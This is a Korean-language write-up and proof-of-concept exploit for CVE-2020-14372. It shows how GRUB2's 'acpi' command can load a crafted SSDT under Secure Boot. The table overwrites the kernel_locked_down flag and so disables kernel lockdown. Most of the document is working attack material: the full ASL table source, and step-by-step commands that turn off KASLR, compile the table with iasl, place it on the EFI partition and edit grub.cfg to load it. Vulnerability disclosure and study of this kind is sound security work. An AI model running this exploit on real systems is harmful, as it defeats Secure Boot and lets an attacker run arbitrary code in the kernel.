
CVE-2020-14372에 대한 분석(Write-up) 및 개념 증명(PoC) 익스플로잇
어느 날 GRUB2 콘솔에 "help"를 입력했더니 정말 "재미있는" 명령들이 보였습니다:
나는 즉시 가장 재미있는 Secure Boot 우회 방법을 찾았다고 생각했지만, 이 명령들은 Secure Boot에서 다음과 같은 출력을 냅니다:
error: Secure Boot forbids loading module .../memrw.mod.
호기심에 이렇게 부팅한 상태에서 "acpi" 명령을 입력했더니, AML 파일을 지정하라는 사용법 메시지가 출력되었습니다. ACPI의 또 다른 이름이 "커널 컨텍스트에서 공급업체가 제공한 임의 코드를 실행하는 메커니즘"이라는 것은 잘 알려져 있습니다. Secure Boot가 활성화된 상태에서도 ACPI 테이블을 로드할 수 있으므로, 우리가 그 코드를 제공할 수 있는 "공급업체"인 셈입니다.
그러나 부팅된 커널의 데이터 세그먼트에는 커널이 "잠금(lockdown)" 상태인지 여부를 나타내는 1바이트 플래그(kernel_locked_down)가 있기 때문에, SSDT를 사용하여 그 플래그를 덮어쓰기만 하면 커널이 임의의 모듈을 로드하도록 할 수 있습니다.
다음 SSDT는 HACK이라는 "배터리" 개체를 생성하고, 커널이 항상 실행하는 해당 개체의 _INI 메서드에서 쓰기를 수행하여 이를 달성합니다:
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
이 SSDT 생성에 도움이 되는 개념 증명 익스플로잇을 Python으로 작성했습니다. 하지만 손으로 직접 익스플로잇하는 것도 그리 어렵지 않습니다. 대략적인 절차는 다음과 같습니다:
nokaslr을 추가하여 KASLR을 비활성화합니다.kernel_locked_down 심볼의 물리적 주소를 찾습니다.iasl을 사용하여 SSDT를 컴파일합니다.가정:
root 접근 권한을 가지고 있습니다.위 가정이 충족되면 /etc/default/grub을 편집하고, GRUB_CMDLINE_LINUX_DEFAULT에 nokaslr을 추가한 다음, update-grub을 실행하고 마지막으로 재부팅합니다.
커널이 주소 공간 레이아웃 무작위화 없이 부팅된 후, genssdt.py 스크립트를 사용하여 lockdown을 비활성화하도록 커널 메모리를 런타임에 패치하는 "악성" SSDT를 생성할 수 있습니다:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
이제 SSDT가 생성되었으므로, GRUB가 이 SSDT를 로드하도록 GRUB 구성 파일(보통 /boot/grub/grub.cfg에 위치)을 편집해야 합니다 (이 파일의 맨 위에 다음을 추가):
acpi (hd0,gpt1)/evil_ssdt.aml
EFI 시스템 파티션(위에서 SSDT를 배치한 위치)이 디스크의 어디에 있는지에 따라 (hd0,gpt1)을 다른 값으로 바꿔야 할 수도 있습니다.
마지막으로 재부팅 후에는 커널 lockdown이 비활성화되어, root가 커널에서 임의의 코드를 실행할 수 있게 됩니다.